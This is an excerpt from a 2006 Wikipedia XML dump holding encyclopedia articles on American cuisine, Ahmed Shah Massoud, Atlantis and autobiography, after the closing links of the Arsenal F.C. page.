{{wikinewscat|Arsenal F.C.}}
;Official websites
* [http://www.arsenal.com/ Arsenal.com]
* [http://www.arsenalpics.com/ Official Arsenal Picture Site]
* [http://www.premierleague.com/fapl.rac?command=forwardOnly&amp;nextPage=enClubDetail&amp;id=1006 Premierleague.com: Arsenal]

;General fan sites
* [http://www.arseweb.com/ Arseweb]
* [http://www.arsenal-mania.com/ Arsenal-Mania]
* [http://www.arsenal-world.co.uk/ Arsenal World]
* [http://www.arsenal-land.co.uk/ Arsenal Land]

;News sites
{{BBC Football Info|BBClinkname=a/arsenal}}
* [http://sport.independent.co.uk/football/arsenal/ ''The Independent'': Arsenal]
* [http://www.anr.uk.com/ Arsenal News Review]
* [http://www.arsenal.vitalfootball.co.uk/ Arsenal news from Vital football]

;Fanzines
* [http://www.upthearse.net/ Up the Arse!]
* [http://www.onlinegooner.com/ The Gooner]
* [http://www.footballchants.org/viewChantsRecent.php?teams=5 Arsenal Football Chants]

;Blogs
* [http://www.arseblog.com/ Arseblog]
* [http://antithesis98.blogspot.com/ Arsenal wtf]
* [http://arsenalamerica.com/new/index.php Arsenal America]
* [http://www.arsenalshorts.com/index.html Arsenal Shorts]
* [http://arsenaltalk.bravejournal.com/ Arsenal Talk]

{{Arsenal F.C.}}
{{Champions League 2005/06}}
{{FA Premier League}}

{{featured article}}

[[Category:Arsenal F.C.| ]]
[[Category:English football clubs]]
[[Category:Sport in London]]
[[Category:FA Premier League]]
[[Category:G-14 clubs]]
[[Category:1886 establishments]]

{{Link FA|pl}}

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[[zh:阿森纳足球俱乐部]]</text>
    </revision>
  </page>
  <page>
    <title>Cuisine of the United States</title>
    <id>2175</id>
    <revision>
      <id>39651546</id>
      <timestamp>2006-02-14T23:08:35Z</timestamp>
      <contributor>
        <username>SimonP</username>
        <id>1591</id>
      </contributor>
      <minor />
      <comment>{{expansion}} to talk page</comment>
      <text xml:space="preserve">

{{Usculture}}

{{cuisine}}

The '''cuisine of the United States''' is characterized by the broad diversity of foods, driven by the tendency of the country as a whole to integrate widely divergent ingredients and styles of cooking.  [[Cuisine]]s differ from region to region and are influenced by innovation and centuries of immigration.

Some kinds of [[United States|American]] cuisine include:

* [[American Chinese cuisine]]
* [[Barbecue]]
* [[Cuisine of California|California cuisine]]
* [[Euro-Asian cuisine]], a kind of [[fusion cuisine]]
* [[Fast food]]
* [[Floribbean]]
* [[Cuisine of Kentucky]]
* [[Cuisine of Hawaii|Hawaiian cuisine]]
* [[Midwestern cuisine]]
* [[Native American cuisine#Native American Cuisine of the United_States|Native American cuisine]]
* [[New England cuisine]]
* [[New York City cuisine]]
* [[Pennsylvania Dutch cuisine]]
* [[Cuisine of Puerto Rico|Puerto Rican cuisine]]
* [[Southern US cuisine|Southern cuisine]]
** [[Cajun cuisine|Cajun food]]
** [[Louisiana Creole cuisine|Creole]]
** [[Soul food]]
** [[Tex-Mex cuisine|Tex-Mex]]
* [[Cuisine of the Southwest|Southwestern cuisine]]
** [[Tex-Mex cuisine|Tex-Mex]]

==List of American foods== 
*[[Apple Pie]]
*[[Boston baked beans]]
*[[Chocolate brownie|Brownies]]
*[[Buffalo wings]]
*[[American Bison|Buffalo]] steaks and burgers
*[[Chicago-style pizza]]

[[Image:Motherhood and apple pie.jpg|250px|thumb|[[Apple pie]] shown alongside other cultural icons.]]

*[[Chili con carne]]
*[[Chocolate chip cookies]]
*[[Chop suey]]
*[[Corn dog]]s
*[[Maize|Corn on the cob]]
*[[Cream cheese]]
*[[Disco fries]]
*[[Fortune cookie]]s
*[[French Fries]]
*[[Fudge]]
*[[Grits]]
*[[Grilled pizza]]
*[[Gumbo]]
*[[Hamburger]]s

[[Image:Hamburger.jpg|thumb|250px|The hamburger may be the most famous United States food.]]

*[[Hoagie]]
*[[Hot dish]]
*[[Hotcakes]]
*[[hushpuppy|Hush puppies]]
*[[Ice cream cone]]
*[[Jambalaya]]
*[[Macaroni and cheese]]
*[[Pancake]]
*[[Peanut butter]]
**[[Peanut butter and jelly sandwich]]
*[[Pecan pie]]
*[[Pecan pralines]]
*[[Cheesesteak|Philadelphia cheesesteak]]
*[[Potato Chip]]s
*[[Pumpkin pie]]
*[[Scrapple]]
*[[Shoo-fly pie]]
*[[Sloppy joe]]
*[[Sweet potato]] pie
*[[Thanksgiving#Thanksgiving Dinner|Thanksgiving Dinner]] (Roast [[Domesticated turkey|Turkey]], [[Cranberry sauce]], etc.)
*[[Whoopie pies]]

==See also==

* [[Cuisine#Cuisines of the Americas|Cuisines of other countries]]
* [[Cuisine of the Southern United States]]
* [[Cuisine of the Southwestern United States]]
* [[Christmas food in the United States]]
* [[New England cuisine]]
* [[Cuisine of the Midwestern United States]]

==External links==
{{Cookbook}}
{{commonscat|American cuisine}}
* [http://www.elook.org/recipes/american/ American Recipes]

[[Category:American culture]]
[[Category:American cuisine| ]]


[[de:US-amerikanische Küche]]
[[fr:Cuisine des États-Unis d'Amérique]]
[[pt:Culinária dos Estados Unidos da América]]
[[zh:美国烹饪]]</text>
    </revision>
  </page>
  <page>
    <title>Ahmed Shah Massoud</title>
    <id>2176</id>
    <revision>
      <id>40662907</id>
      <timestamp>2006-02-22T03:37:09Z</timestamp>
      <contributor>
        <username>John Hill</username>
        <id>179750</id>
      </contributor>
      <comment>/* See also */ added reference</comment>
      <text xml:space="preserve">{{Infobox Celebrity
| name        =Ahmed Shah Masood
| image       = AhmedShahMassoud.jpg
| caption     = 
| birth_date  = 1953
| birth_place = [[Afghanistan]]
| death_date  = [[September 9]], [[2001]]
| death_place = North Afghanistan
| occupation  = Prominent ''Mujaidin'' and ''Minister of Defense'' after the [[Soviet-Afghan War]]|
| salary      = 
| networth    = 
| website     =
| footnotes   = 
}}
'''Ahmed Shah Masood''' ('''&amp;#1575;&amp;#1581;&amp;#1605;&amp;#1583; &amp;#1588;&amp;#1575;&amp;#1607; &amp;#1605;&amp;#1587;&amp;#1593;&amp;#1608;&amp;#1583;''') (c. 1953 - [[September 9]], [[2001]]) (''variant [[transliteration]]s include Ahmad, Massoud, etc.'') was a [[Kabul University]] engineering student turned [[Afghanistan|Afghan]] military leader who played a leading role in driving the [[Soviet Union|Soviet]] army out of [[Afghanistan]], earning him the nickname ''Lion of [[Panjshir]]''. 

Massoud was an ethnic [[Tajiks|Tajik]] who was charismatic and respected by the Afghan population.
In the early [[1990s]] he became Defence Minister under President [[Burhanuddin Rabbani]].  Following the collapse of Rabbani's government and the rise of the [[Taliban]] regime, Massoud became the military leader of the [[Afghan Northern Alliance|Northern Alliance]], a coalition of various armed Afghani opposition groups, in a prolonged civil war.  As the Taliban established control over most of Afghanistan, Massoud's forces were increasingly forced into the mountainous areas of the north, where they controlled some 10% of Afghanistan's territory and perhaps 30% of its population until late 2001.

Massoud was the victim of a suicide attack which occurred at Khvajeh Ba Odin on [[September 9]], [[2001]], two days before the [[September 11, 2001 Terrorist Attack]] in the [[United States]], a timing considered significant by some commentators who believe [[Osama bin Laden]] ordered the assassination to ensure he would have the Taliban's protection and cooperation in Afghanistan. The attackers were two [[Arab]]s who claimed to be [[Belgium|Belgian]]s originally from [[Morocco]].  However their passports turned out to be stolen.  According to some accounts they were posing as journalists, perhaps intending to attack several Northern Alliance council members simultaneously.

They set off a bomb in either a video camera or a belt worn by one of the attackers.  It appears that Massoud died within 30 minutes, although his death was denied until an official announcement that was made on [[September 13]].  The explosion also killed Mohammed Asim Suhail, a Northern Alliance official, while [[Mohammad Fahim Dashty]] and Massoud Khalili were injured.  One of the attackers was killed by the explosion and the other was shot while trying to escape. 

The French secret service revealed [[October 16]], [[2003]] that the camera used by Massoud's assassins had been stolen in [[December]] [[2000]] in [[Grenoble]], [[France]] from a [[photojournalist]], [[Jean-Pierre Vincendet]], who was then working on a story on that city's Christmas store window displays. By tracing the serial number that appeared in the camera, the [[FBI]] was able to determine Vincendet as the original owner. The French secret service and the FBI then began working on tracing the route that the camera took between the time it was taken from Vincendet and the Massoud assassination.

Massoud is the subject of [[Ken Follett]]'s ''Lie Down With Lions,'' a novel about the [[Soviet invasion of Afghanistan]].



==See also==
*[[History of Afghanistan since 1992]]
* ''The Carpet Wars''. Christopher Kremmer. Flamingo – an imprint of HarperCollins Publishers. Australia. 2002.

==References==
* ''The Carpet Wars''. Christopher Kremmer. Flamingo – an imprint of HarperCollins Publishers. Australia. 2002.

==External links==
*[http://www.myafghan.com/news.asp?id=191584756 Thousands Gather for Massood Funeral] from ''Afghan News Network''
*[http://www.afgha.com/?af=who&amp;op=read&amp;id=52 Ahmad Shah Massoud] from ''Afgha'' 
*[http://www.time.com/time/nation/article/0,8599,333835,00.html Could 9/11 Have Been Prevented?] from ''Time'' magazine
*[http://search.looksmart.com/p/browse/us1/us317836/us317916/us559898/us559967/us559969/us10006385/us10176222/us10238357/ LookSmart - Ahmed Shah Massound] directory category
*[http://dmoz.org/Regional/Asia/Afghanistan/Society_and_Culture/Politics/Politicians/Massoud,_Ahmed_Shah/ Open Directory Project - Ahmed Shah Massoud] directory category 
*[http://dir.yahoo.com/Regional/Countries/Afghanistan/Arts_and_Humanities/Humanities/History/By_Time_Period/20th_Century/People/Massoud__Ahmad_Shah__1953_2001_/ Yahoo! - Ahmed Shah Massoud] directory category

[[Category:1953 births|Massoud, Ahmed Shah]]
[[Category:2001 deaths|Massoud, Ahmed Shah]]
[[Category:Afghan people|Massoud, Ahmed]]
[[Category:Assassinated people|Massoud, Ahmed]]

[[af:Ahmad Shah Massoud]]
[[ar:أحمد شاه مسعود]]
[[ca:Ahmed Shah Massoud]]
[[cs:Ahmad Šáh Masúd]]
[[de:Ahmad Schah Massoud]]
[[es:Ahmed Shah Massoud]]
[[fr:Ahmed Chah Massoud]]
[[it:Ahmad Shah Massoud]]
[[nl:Achmed Sjah Massoed]]
[[ja:アフマド・シャー・マスード]]
[[pl:Ahmad Szach Masud]]
[[sr:Ахмад Шах Масуд]]
[[sv:Ahmad Shah Massoud]]</text>
    </revision>
  </page>
  <page>
    <title>Atlantis</title>
    <id>2178</id>
    <revision>
      <id>42137830</id>
      <timestamp>2006-03-04T01:50:12Z</timestamp>
      <contributor>
        <username>TigerShark</username>
        <id>161478</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/66.108.112.34|66.108.112.34]] ([[User talk:66.108.112.34|Talk]]) to last version by Ollj</comment>
      <text xml:space="preserve">:''This article is about Plato's island Atlantis. For other uses, see [[Atlantis (disambiguation)]].''
[[Image:Athanasius Kircher's.gif|thumb|right|250px|[[Athanasius Kircher|Athanasius Kircher's]] map of a possible Atlantis' location. From ''Mundus Subterraneus'' [[1669]].]]
The &quot;[[Lost city]]&quot; of '''Atlantis''' was an ancient [[mythical place|mythical]] island, whose existence and location have never been confirmed. The first references to Atlantis are from the [[classical Greek]] philosopher [[Plato]], who said it was engulfed by the ocean as the result of an earthquake 9,000 years before his own time. Plato claimed it was somewhere outside the [[Pillars of Hercules]], now known as the [[Strait of Gibraltar]]. While there are many theories about Atlantis, nearly all serious research shows that Atlantis never existed as Plato described it, although elements of his story may have been drawn from real events.

==Origin==
===Plato===
[[Image:Plato-raphael.jpg|thumb|right|Plato as depicted by the painter [[Raphael]].]]

Plato's accounts of Atlantis are in his works ''[[Timaeus (dialogue)|Timaeus]]'' and ''[[Critias (Plato)|Critias]]''; these are the earliest known references to the mythological civilization of the Atlanteans(360 BC). The Timaeus dialogue is an introduction, followed by a concise history of the universe and ancient civilizations, according to Plato's particular philosophy.  In the introductory portion, [[Socrates]] muses on the perfect society (as described in Plato's Republic) and wonders if he and his guests could come up with a story which puts this society into action.  Critias mentions an allegedly historical tale that he would make the perfect example, and follows up by describing Atlantis in the Critias dialogue, mainly its origins and form.  (Ancient Athens represented the &quot;perfect society,&quot; and Atlantis the opponent, representing the opposite of the &quot;perfect&quot; traits described in the Republic.)  Critias' account is purported to have originated from a visit to Egypt by the Athenian lawgiver [[Solon]], where [[Sonchis]], priest of [[Thebes (Egypt)|Thebes]], translated it into [[Greek language|Greek]] for him.

According to Critias, the [[Hellenic]] gods of old divided the land so that each god might own a lot; Poseidon was appropriately, and to his liking, bequeathed the island of Atlantis. The island was larger than [[Libya]] and [[Asia Minor]] combined, but has since been sunk by an earthquake and became an impassable mud shoal, inhibiting travel between the [[Atlantic Ocean]] and the [[Mediterranean Sea]]. The Egyptians described Atlantis as an island approximately 700 km across, comprising mostly mountains in the northern portions and along the shore, and encompassing a great plain of an oblong shape in the south &quot;extending in one direction three thousand [[Ancient Greek weights and measures|stadia]] [about 600 km], but across the centre inland it was two thousand stadia [about 400 km]&quot;.

Fifty [[Ancient Greek weights and measures|stadia]] inland from the middle of the southern coast was a &quot;mountain not very high on any side&quot;.  Here lived a native woman with whom Poseidon fell in love and bore five pairs of male twins.  The eldest of these, [[Atlas (mythology)|Atlas]], was made rightful king of the entire island and the ocean (now the [[Atlantic Ocean]]), and was given the mountain of his birth and the surrounding area as his [[fiefdom]].  Atlas's twin [[Gadeirus]] or [[Eumelus]] in Greek, was given the easternmost portion of the island which also lay at its northern extreme facing [[Gades]], a town in southern Spain.  The other four pairs of twins—Ampheres and Evaemon, Mneseus and Autochthon, Elasippus and Mestor, and Azaes (the [[Azores]]?) and Diaprepes—&quot;were the inhabitants and rulers of divers islands in the open sea&quot;.

Poseidon carved the inland mountain where his love dwelt into a palace and enclosed it with three circular [[moat|moats]] of increasing width, varying from one to three stadia and separated by rings of land proportional in size.  The Atlanteans then built bridges northward from the mountain, making a route to the rest of the island.  They dug a great canal to the sea, and alongside the bridges carved tunnels into the rings of rock so that ships could pass into the city around the mountain; they carved docks from the rock walls of the moats.  Every passage to the city was guarded by gates and towers, and a wall surrounded each of the city's rings.  The walls were constructed of red, white and black rock quarried from the moats, and were covered with [[brass]], [[tin]] and [[orichalcum]], respectively.

According to Critias, 9,000 years before his lifetime, a war took place between those outside the ''Pillars of Heracles'' and those who dwelt within them.  The Atlanteans had conquered the Mediterranean as far east as [[Egypt]] and the continent into [[Tyrrhenia]], and subjected its people to slavery.  The Athenians led an alliance of resistors against the Atlantean empire and as the alliance disintegrated, prevailed alone against the empire, liberating the occupied lands. “But afterwards there occurred violent earthquakes and floods; and in a single day and night of misfortune all your warlike men in a body sank into the earth, and the island of Atlantis in like manner disappeared in the depths of the sea.&quot;

===Aristotle===
[[Image:Aristoteles Louvre.jpg|thumb|left|[[Ancient Rome|Roman]] copy of a bust of Aristotle by [[Lysippos]] in the [[Louvre Museum]].]]
[[Aristotle]] wrote of a large island in the Atlantic Ocean that the [[Carthage|Carthaginians]] knew as [[Antilia]]. [[Proclus]], the commentator of ''[[Timaeus (dialogue)|Timaeus]]''  mentions that [[Marcellus]], relying on ancient historians, stated in his ''[[Aethiopiaka]]'' that in the Outer Ocean (which meant all oceans, not just the Atlantic) there were seven small islands dedicated to [[Persephone]], and three large ones; one of these, comprising 1,000 ''stadia'' in length, was dedicated to [[Poseidon]].  Proclus tells us that [[Crantor]] reported that he, too, had seen the columns on which the story of Atlantis was preserved as reported by Plato: the [[Sais, Egypt|Saite]] priest showed him its history in [[Egyptian hieroglyph|hieroglyphic]] characters.  Some other writers called it ''Poseidonis'' after Poseidon. [[Plutarch]] mentions ''Saturnia'' or ''Ogygia'' about five days' sail to the west of what is called nowadays [[Britain]]. He added that westwards from that island, there were the three islands of [[Cronus]], to where proud and warlike men used to come from the continent beyond the islands, in order to offer sacrifice to the gods of the ocean.

===Other Greek accounts===
The historian [[Ammianus Marcellinus]] wrote that the [[intelligentsia]] of [[Alexandria]] considered the destruction of Atlantis a historical fact and described a class of [[earthquake]]s that suddenly, by a violent motion, opened up huge mouths and so swallowed up portions of the earth, as once in the Atlantic Ocean a large island was swallowed up. [[Diodorus Siculus]] recorded that the Atlanteans did not know the fruits of [[Ceres (mythology)|Ceres]]. [[Pausanias (geographer)|Pausanias]] called this island &quot;Satyrides,&quot; referring to the Atlantes and those who profess to know the measurements of the earth.  He states that far west of the Ocean there lies a group of islands whose inhabitants are red-skinned and whose hair is like that of the horse. ([[Christopher Columbus]] described the Native Americans similarly.)

A fragmentary work of [[Theophrastus]] of [[Lesbos Island|Lesbos]] tells about the colonies of Atlantis in the sea. [[Hesiod]] wrote that the garden of the [[Hesperides]] was on an island in the sea where the [[sun]] sets. [[Pliny the Elder]] recorded that this land was 12,000 km distant (by modern measurment) from [[Cádiz]], and Uba, a [[Numidian]] talks of an enormous island outside the [[Pillars of Hercules]]. He describes it as having a climate that is very mild; fruits and vegetables grow ripe throughout the year. There are huge mountains covered with large forests, and wide, irrigable plains with navigable rivers. [[Scylax of Caryanda]] gives similar account.

Marcellus claims that the survivors of the sinking Atlantis migrated to [[Western Europe]]. [[Timagenes]] tells almost the same, citing the [[Druids]] of [[Gaul]] as his sources. He tries to classify the [[Gallic]] tribes according to their origins and tells of one of these claiming that they were colonists who came there from a remote island. [[Theopompus]] of [[Chios]], a Greek [[historian]] called this land beyond the ocean as &quot;Meropis&quot;.  The dialogue between King [[Midas]] and the wise Silenus mentions the Meropids, the first men with huge cities of gold and silver. Silenus knows that besides the well-known portions of the world there is another, unknown, of incredible immensity, where immeasurably vast blooming meadows and pastures feed herds of various, huge and mighty beasts. [[Claudius Aelianus]] cites [[Theopompus]], knowing of the existence of the huge island out in the Atlantic as a continuing tradition among the Phoenicians or Carthaginians of Cádiz. Perhaps the [[Byzantine Empire|Byzantine]] friar [[Cosmas Indicopleustes]] understood Plato better than the ancient and modern &quot;Aristotelians&quot;, says Merezhkovsky. In his ''[[Topographia Christiana]]'' he included a chart of the (flat) world: it showed an inner continent, a compact mainland surrounded by sea, and this was surrounded by an outer ring-shaped continent, with the inscription, &quot;The earth beyond the Ocean, where men lived before the [[Flood]].&quot;

==Modern interest==
[[Image:Atlantis map 1882.jpg|thumb|left|300px|A map showing a supposed location of Atlantis. From Ignatius Donnelly's ''Atlantis:The Antediluvian World'', [[1882]].]]
With rare exceptions, such as [[Francis Bacon (philosopher)|Francis Bacon]]'s book ''[[The New Atlantis]]'', interest in Atlantis mostly languished, until, some 2,200 years after Plato, the [[1882]] publication of ''[[Atlantis: the Antediluvian World]]'' by [[Ignatius Donnelly]]. Donnelly took Plato's account of Atlantis seriously and attempted to establish that all known [[ancient civilization]]s were descended from its high-[[neolithic]] culture.   

In middle and late [[19th century]], several serious [[Mesoamerica]]n scholars, starting with [[Charles Etienne Brasseur de Bourbourg]], and including [[Edward Herbert Thompson]] and [[Augustus Le Plongeon]] proposed that Atlantis was somehow related to [[Maya]]n and [[Aztec]] culture. However, several of the researchers later rejected those claims.  

[[Image:Cayce 1910.jpg|thumb|right|American psychic [[Edgar Cayce]], 1910]]
Around this same time, the mythical nature of Atlantis was combined with other [[Lost Lands|lost continent]] myths such as [[Mu (lost continent)|Mu]] and [[Lemuria (continent)|Lemuria]] by popular figures in the [[occult]] and the growing [[new age]] phenomenon.  [[Helena Petrovna Blavatsky|Helena Blavatsky]], the &quot;Grandmother of the New Age movement&quot; writes in ''[[The Secret Doctrine]]'' that the Atlanteans were cultural heroes (contrary to Plato who describes them mainly as a military threat), and are the fourth &quot;[[Root Race]]&quot;, succeeded by the &quot;[[Aryan race]]&quot;. [[Rudolf Steiner]] based much of his writings on occult revelations of Mu or Atlantis. Famed psychic [[Edgar Cayce]] gave its geographical location as the [[Caribbean]], and proposed that [[Edgar Cayce#Major themes|Atlantis]] was an ancient, now-submerged, highly-evolved civilization which had ships and aircraft powered by a mysterious form of energy crystal. 

===Nationalist and Socialist ideas of Atlantis===
The concept of Atlantis also entered [[Nazi Mysticism|National Socialist Mysticism]] through [[Theosophy]] and [[Anthroposophy]]. In [[1938]], [[Heinrich Himmler]] organized a search in [[Tibet]] to find a remnant of the white Atlanteans. According to [[Julius Evola]] (''[[Revolt Against the Modern World]]'', 1934), the Atlanteans were [[Hyperboreans]] -- Nordic [[Übermensch|supermen]] who originated on the [[North pole]]. Similarly, [[Alfred Rosenberg]] (''[[The Myth of the Twentieth Century]]'', 1930) spoke of a &quot;nordic-atlantean&quot; or &quot;aryan-nordic&quot; [[master race]]. [[Aleister Crowley]] has also written an esoteric history of Atlantis, although this may be intended more as [[metaphor]] than as fact.

===Recent times===
As [[continental drift]] became better understood and accepted during the 1950s, most &quot;Lost Continent&quot; theories of Atlantis were shown as false. In response, some recent theories propose that elements of Plato's story were derived from earlier myths.

==Location hypotheses==
&lt;!--
This intended as a SHORT section 
on the locations of Atlantis.  
Do not expand your favorite theory,
put information about &quot;exciting&quot;
proof that supports your theory.
EVERYONE has a theory about 
Atlantis.  Please only put a 
short sentence, or add as part of
your list.  You are free to expand
in the companion article. 
--&gt;
:''Main article: [[Location hypotheses of Atlantis]]''
[[Image:Santorini Landsat.jpg|thumb|left|Satellite image of the islands of [[Santorini]]. This location is often rumored to have been the location of Atlantis.]]

Since Donnelly's day, there have been dozens&amp;mdash;perhaps hundreds&amp;mdash;of locations proposed for Atlantis. Some are more or less serious attempts at legitimate scholarly or archaeological works; others have been made by [[psychic]] or other [[pseudoscience|pseudoscientific]] means. Many of the proposed sites share some of the characteristics of the Atlantis story (water, catastrophic end, relevant time period), but none have been proven conclusively to be the historical Atlantis.  Most of the historical proposed locations are in or nearby the Mediterranean, either islands such as [[Sardinia]], [[Crete]] and [[Santorini]], [[Cyprus]], [[Malta]], and [[Ponza]] or as land based cities or states such as [[Troy]], [[Andalucia]] or Tantalus (in province of [[Manisa]]), [[Turkey]], and the new theory of [[Israel]]-[[Sinai]] or [[Canaan]] as possible locations. The island of [[Santorini]], according to geologists, experienced a massive volcanic eruption about 1640 BC.  The eruption caused a massive [[tsunami]] that devastated the [[Minoan civilization]] on the nearby island of Crete, further leading some to believe that may have been the catastrophe that inspired the story. 

===Outside the Mediterranean=== 
Locations as far as [[Antarctica]], [[Indonesia]] and the [[Caribbean]] have been proposed as Atlantis' site.  The submerged island of [[Spartel]] near the Strait of Gibraltar is a proposed location which would coincide with some elements of Plato's account; location (just outside the [[Pillars of Hercules]]) and date of submersion (9000 years before Plato). In the area of the [[Black Sea]] there are three possible locations: [[Bosporus]], [[Sinop]] and [[Ancomah]], a legendary place near [[Trabzon]]. The nearby [[Sea of Azov]] was proposed as another site in 2003. Various islands or island groups in the Atlantic were also identified as possible locations, notably the [[Azores]] (Mid-Atlantic islands which are a territory of Portugal), and several [[Caribbean]] islands. In Northern Europe, [[Finland]] (by Finnish pseudohistorian [[Ior Bock]]), [[Sweden]] (by [[Olof Rudbeck]] in &quot;Atland&quot;, 1672-1702), and the North Sea have been proposed. Areas in the Pacific and Indian Ocean have also been proposed including [[Indonesia]], [[Malaysia]] and stories of a lost continent off [[India]] named &quot;[[Kumari Kandam]]&quot; have drawn parallels to Atlantis. Even Cuba has been suggested. The [[Canary Islands]] have also been identified as a possible location, west of the Straits of Gibraltar but in close proximity to the Mediterranean Sea. Some believe that Atlantis stretched from the tip of Spain to Central America. Finally it has been argued that the story is a mixup, with [[Ireland]] as the last place that has contributed geographical details to it.

==Atlantis in Fiction==
:''Main article: [[Atlantis in fiction]]''

The legend of Atlantis is frequently featured in many books, movies, television series, and other creative works.

==See also==
* [[List of ancient mysteries]]
* [[Lemuria]]
* [[Thule]]
* [[Bal-Sagoth]]
* [[Sea level rise]]

==Source Writings==
*&quot;''[http://classics.mit.edu/Plato/timaeus.html Timaeus]''&quot; translated by [[Benjamin Jowett]]; [http://www.perseus.tufts.edu/cgi-bin/ptext?doc=Perseus%3Atext%3A1999.01.0180&amp;layout=&amp;loc=Tim.+1a alternative version] with commentary.
*&quot;''[http://classics.mit.edu/Plato/critias.html Critias]''&quot; translated by [[Benjamin Jowett]]; [http://www.perseus.tufts.edu/cgi-bin/ptext?doc=Perseus%3Atext%3A1999.01.0180&amp;layout=&amp;loc=Criti.+106a alternative version] with commentary.
* [[Project Gutenberg]] Presents: &quot;''[http://digital.library.upenn.edu/webbin/gutbook/lookup?num=4032 Atlantis: the Antediluvian World]''&quot; by [[Ignatius Donnelly]]

==External links==
* [http://www.activemind.com/Mysterious/Topics/Atlantis/ Active Mind]	
* [http://www.factmonster.com/spot/atlantis1.html Fact Monster]	
* [http://www.pantheon.org/articles/a/atlantis.html Panthenon]	
* [http://atlantis.haktanir.org/ Atlantis Myth or Reality]
* [http://www.atlantia.de/atlantis_english/atlantis.htm/ Atlantis - The cradle of mankind]
* See additional links at [[Location hypotheses of Atlantis]]

[[Category:Ancient mysteries]]
[[Category:Atlantis|A]]
[[Category:Fictional lost cities and towns]]

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  </page>
  <page>
    <title>Autobiography</title>
    <id>2179</id>
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      <contributor>
        <username>Matatigre36</username>
        <id>894146</id>
      </contributor>
      <minor />
      <comment>link for Mark Twain (and Paul Delaney, whoever that is)</comment>
      <text xml:space="preserve">:''For music albums named ''Autobiography'', see [[Autobiography (album)]]''

An '''autobiography''' (from the [[Greek language|Greek]] ''auton'', 'self', ''bios'', 'life' and ''graphein'', 'write') is a [[biography]] written by the subject  or composed conjointly with a collaborative writer (styled &quot;as told to&quot; or &quot;with&quot;). The term dates from the late eighteenth century, but the form is much older.

Biographers generally rely on a wide variety of documents and viewpoints; an autobiography may be based entirely on the writer's memory. A name for such a work in Antiquity was an ''[[apologia]],'' essentially more self-justification than introspection. [[John Henry Newman]]'s autobiography is his ''Apologia pro vita sua.'' [[Augustine of Hippo|Augustine]] applied the title ''[[Confessions (book)|Confessions]]'' to his autobiographical work (and [[Jean-Jacques Rousseau]] took up the same title). Probably the most famous German autobiography is still [[Johann Wolfgang von Goethe|Goethe]]'s  ''[[Dichtung und Wahrheit]]''.

''[[The Autobiography of Benjamin Franklin]]'', the first secular biography published in the United States, served as a model for subsequent American autobiographies. [[African Americans|African American]] autobiography has developed from [[slave narrative]]s. [[Frederick Douglass]] and [[W.E.B. DuBois]] have both published several autobiographies.

A [[memoir]] is slightly different from an autobiography.  Traditionally, a memoir focuses on the &quot;life and times&quot; of the character, while an autobiography has a narrower, more intimate focus on his or her own memories, feelings and emotions. Memoirs have often been written by politicians or military leaders as a way to record and publish an account of their public exploits. In the eighteenth century, &quot;scandalous memoirs&quot; were written (mostly anonymously) by prostitutes or libertines: these were widely read in France for their juicy gossip. But memoir has another meaning too. The pagan rhetor [[Libanius]] framed his life memoir as one of his [[oration]]s, not the public kind, but the literary kind that would be read aloud in the privacy of one's study. This kind of memoir refers to the idea in ancient Greece and Rome, that memoirs were like &quot;memos,&quot; pieces of unfinished and unpublished writing which a writer might use as a memory aid to make a more finished document later on. In more recent times, memoirs are also life stories which can be about the writer and about another person at the some time.

Modern memoirs are often based on old [[diary|diaries]], [[letter]]s, and [[photograph]]s. The term &quot;memoir&quot; has begun to replace &quot;autobiography&quot; in its popular use. 

Until the last 20 years or so, few people without some degree of fame tried to write and publish a memoir.  But with the critical and commercial success in the United States of such memoirs ''[[Angela's Ashes]]'' and ''[[The Color of Water]]'' more and more people have been encouraged to try their hand at this genre.

[[Paul Delaney]] has coined the term &quot;ad hoc autobiography&quot; to describe an autobiography motivated by the desire to exploit some temporary notoriety. Such autobiographies, often written by a [[ghostwriter]], are routinely published on the lives of professional athletes and media celebrities&amp;mdash;and to a lesser extent about politicians. Some celebrities admit to not having read their &quot;autobiographies.&quot; 

[[Mark Twain]] was probably the first popular person to include photography in his autobiography. He was specially interested and involved on the taking of the pictures to control his photographic persona. 

==Notable autobiographies==
(in addition to those referenced in the article)

* [[Henry Adams]], ''[[The Education of Henry Adams]]'', 1907.
* Wallace [[Black Elk]] and John J. Neihardt, ''[[Black Elk Speaks]]'', 1931.
* [[Giacomo Casanova]], ''Histoire de ma vie'', published posthumously in 1826.
* [[Benvenuto Cellini]], ''Autobiography of Benvenuto Cellini'', 1728.
* [[Thomas de Quincey]], ''[[Confessions of an English Opium-Eater]]'', 1821.
* [[Mahatma Gandhi]], ''[[The Story of My Experiments with Truth]]'', 1927 and 1929
* [[Ulysses S. Grant]], ''Memoirs'', 1885.
* [[Harriet Jacobs]], ''[[Incidents in the Life of a Slave Girl]]'', 1861
* [[Helen Keller]], ''The Story of My Life'', 1903.
* [[John Stuart Mill]], ''Autobiography'', 1873. 
* [[Vladimir Nabokov]], ''[[Speak, Memory]]'', 1966.
* [[Anaïs Nin]], ''[[The Diary of Anaïs Nin]]'', 1966-76.
* [[Bertrand Russell]], ''Autobiography'', 1967, 1969. 
* [[Jean-Paul Sartre]], ''The Words'', 1964.
* [[Albert Schweitzer]], ''Out of My Life and Thought'', 1933.
* [[Lincoln Steffens]], ''Autobiography of Lincoln Steffens'', 1931. 
* [[Gertrude Stein]], ''[[The Autobiography of Alice B. Toklas]]'', 1933.
* [[Henry David Thoreau]], ''[[Walden]]'', 1854.
* [[Booker T. Washington]], ''[[Up From Slavery]]'', 1901.
* [[Frank Lloyd Wright]], ''Autobiography'', 1943.
* [[Richard Wright (author)|Richard Wright]], ''[[Black Boy]]'', 1945.
* [[Malcolm X]], ''[[The Autobiography of Malcolm X]]'', 1965.
* [[William Butler Yeats]], ''Autobiography'', 1936.
* [http://mynation.net/abio Autobiography of A Dowry Law Victim].,2000

==Secondary literature==
*Barros, Carolyn A. &quot;Autobiography: Narrative of Transformation&quot;. Ann Arbor: University of Michigan Press. 1998.
*Buckley,Jerome Hamilton. &quot;The Turning Key: Autobiography and the Subjective Impulse Since 1800&quot;. Cambridge: Harvard University Press, 1984.
*Lejeune, Philippe, ''On autobiography'', Minneapolis : University of Minnesota Press, 1988.
*Mostern, Kenneth: &quot;Autobiography and Black Identity Politics: Racialization in Twentieth-Century America&quot;, New York: Cambridge University Press, 1999.
*Olney, James: &quot;Memory &amp; Narrative: The Weave of Life-Writing&quot;. Chicago and London: The University of Chicago Press, 1998.
*Pascal, Roy. &quot;Design and Truth in Autobiography&quot;. Cambridge: Harvard University Press, 1960.
